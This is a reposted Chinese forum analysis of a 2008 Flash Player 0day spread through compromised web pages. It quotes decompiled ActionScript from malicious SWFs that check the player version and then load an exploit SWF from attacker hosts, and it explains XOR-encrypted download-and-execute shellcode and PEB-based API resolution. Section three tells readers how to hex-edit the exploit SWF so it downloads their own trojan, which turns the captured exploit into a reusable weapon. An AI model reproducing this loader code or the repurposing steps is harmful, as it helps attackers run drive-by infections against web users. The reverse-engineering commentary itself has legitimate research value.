首先必須感謝的X.G.C.Team的OPEN在幾個關鍵的地方給予我分析,解決辦法的幫助.與及咱們論壇好幾位兄弟的幫助.最終我才把這個東西給分析出來..
——————————————
最近FLASH出了幾個0DAY,論壇也帖了相關的新聞信息我也約在5天前開始對此進行研究.我記得同時間邪惡八進制也有人開始同樣的研究.到目前為止,該0DAY可以影響到90.115這個版本.而邪八那邊的研究,先在兩天前宣布成功完成.這又給我帶來不小的壓力..

(一)作為研究的初步,通過TIM的幫助,我從幾個被掛馬的頁面得到2個SWF網馬.反編譯后得知這兩個SWF在獲得本地FLASH插件版本后,會再次下載2個真正具備溢出并且下載病毒到本地執行能力的惡意SWF文件.其驗證和下載SWF文件的詳細代碼可見如下:
var fVersion = getVersion();
loadMovie(”http://bao.5bao.net/123/” + fVersion + “i.swf”, _root);
stop ();

————————————此處獲得了本地的FLASH版本.————————————-
說明:加載外部文件命令loadMovie()可以在播放 SWF 文件的同時，將外部的 SWF 文件或 JPEG 文件加載到 Flash Player 中，使您可以同時顯示幾個 SWF 文件，或者在幾個SWF 文件之間切換[local]1[/local]
1、loadMovie(”url”,target [, method])
“url” :要加載的 SWF 文件或 JPEG 文件的絕對路徑或相對路徑。
使用相對路徑一般應將播放的.swf文件與要加載的.swf文件放在同一文件夾中。絕對 路徑必須有詳細的路徑地址。
target：目標影片剪輯(mc元件）的名稱和路徑。目標影片剪輯將替換為加載的 SWF 文件或圖像。
method 可選參數，一般可以不選。

// [Action in Frame 1]
_constantPool “fVersion” “/:$version” “http://xioayang,com/123/” “c.swf” “_root”
_push “fVersion” “/:$version”
_getVariable
_var
_push “http://xioayang,com/123/” “fVersion”
_getVariable
_add2
_push “c.swf”
_add2
_push “_root”
_getVariable
_getURL2 flag 64
_stop
_end
————————-獲得版本后,構成下載地址,下載真正的兇手SWF.———————
Action in Frame 1這個動作就同時打開了C.swf并push in root了.

根據上面,我下載了相應的”WIN%209,0,45,0ie.swf”保存到本地,至此我們總共得到了4個樣本SWF,其中2個溢出的主SWF.總算有了可供對比分析文件的資本了.

(二)反編譯溢出主體SWF后,我們從FLA中看到了這個SWF包括3個標簽,1個動作,1個圖片元素,1個偵.

通過2進制對比我們的兩個樣本,發現具有可疑性的分別是圖片元素和那個偵.邪惡八進制那里的研究認為是圖片部分.并且最終鎖定了圖片中的一段代碼.不過無 論圖片或者那個偵在16進下均為亂碼.通過幾個常用的SHELLCODE加密技術,我仍然無法還原出有用的信息..前幾天我就是從這里開始失去方向的.部 分代碼截圖可見:

(三)經過這幾天的思考和對0DAY原理的多次構想,我們確定,這個FLASH0DAY原理 是讓用戶瀏覽該SWF文件,如果用戶的FLASH插件版本等于或者低于115,那么就會下載并且運行惡意的SWF.產生溢出,溢出后,會按照小黑給你準備 好的木馬地址執行下載+執行的操作,那么這個木馬地址本身,必然存在于這個可以溢出的SWF之中.我們之所以16進找不到這個代碼的所在地,是因為 SHELLCODE被加密了.那么怎么找到這個位置和判別加密方式呢?這里我們采用逆向工程.Reverse Engineering”,譯成中文就是”逆向工程”.我使用了TRW,Soft-Ice和W32Dasm通過不斷的重要地址斷點,不斷的匯編調試,分析 消息響應函數,終于把SHELLCODE鎖定在了這里:16進制打開主溢出SWF

留意值為62處.從這里開始,出現木馬地址.在改木馬地址之前,把這里值改為51.
然后找到:

這部份修改為你的馬的地址.
譬如:

至此,你已經成功的把這馬變成了自己的了.

(四)我們繼續探討這個SHELLCODE的加密原理…這也是我們找不到,只能靠逆向來逐步推的攔路石了.OPEN說這是這個SHELLCODE是由之前迅雷0day的shellcode一樣的xor加密方式加密的.
以下引用部分XOR的加密和解密原理:
shellcode要在別人的計算機里正常運行，需要注意的關鍵：
1. 所有shellcode都難以保證自己的代碼被加載到哪個內存地址。shellcode要運轉，特別是要讀取自身代碼里的數據（如病毒URL地址，要調用的函數名等常量和變量），就必須要自我定位，即獲取自身在內存中的虛擬地址。
一般來說，只要在執行shellcode過程中，能獲取到程序當前的入口點EIP值，就能以此定位自己的代碼。但是EIP值是不能直接用mov等方法獲取的。為此，shellcode編寫者利用了一個典型的辦法，你在下面的shellcode中將會看到。
2.shellcode必須在所在進程的空間里，調用系統API函數，來完成遠程下載文件并運行的目的。那么，怎么獲取函數地址？這也就是遠程注入代碼的又一關鍵：函數地址重定位問題。
只要API所在的dll被進程所加載，就可以通過由kernel32.dll導出的GetProcAddress來得到函數地址，進而Call之。但是，GetProcAddress本身也是一個函數，我們首先要得到它的地址啊！看起來好像進入死循環了。
既然如此，shellcode作者就必須模擬程序加載dll的方式，為自己的shellcode代碼創建一個類似的“輸入表”。要得到 kernel32.dll中的GetProcAddress函數的地址，也就要讀取kernel32.dll的輸出表。那么，問題變成了如何定位 kernel32.dll的輸出表。
問題轉變成了一個PE文件結構讀取的問題。只要得到kernel32.dll在進程虛擬空間中的基址（DOS文件頭，即MZ的位置），就可以在03CH偏移處讀到PE文件頭（”;PE”字樣地址）相對這個DOS文件頭的偏移，并計算出PE文件頭地址。PE文件頭結構中的78H處，就是輸出表的地址了。通過檢索輸出表，就可以得到GetProcAddress函數的地址的偏移量，進一步變為在虛擬空間中的入口點地址。
問題逐層深入，變成怎么得到“kernel32.dll文件在進程空間中的基址”。硬編碼？那你干脆連函數地址都硬編碼，不是更省？！shellcode作者們有更好的作法。
講到dll的基址，一個結構呼之欲出了——

PEB！fs:[0x30]！

關于爭對這個FLASH0DAY如何破解XOR加密SHELLCODE的方式,我還沒有完全總結完我的操作.總結完了我再補充進來.這里先列出兩篇文章供大家參考:

http://bbs.pediy.com/showthread.php?t=46068

轉載于:https://www.cnblogs.com/lxwy/archive/2008/06/02/4420769.html

總結

以上是生活随笔為你收集整理的[转帖]最新FLASH 0DAY 漏洞总结分析篇的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。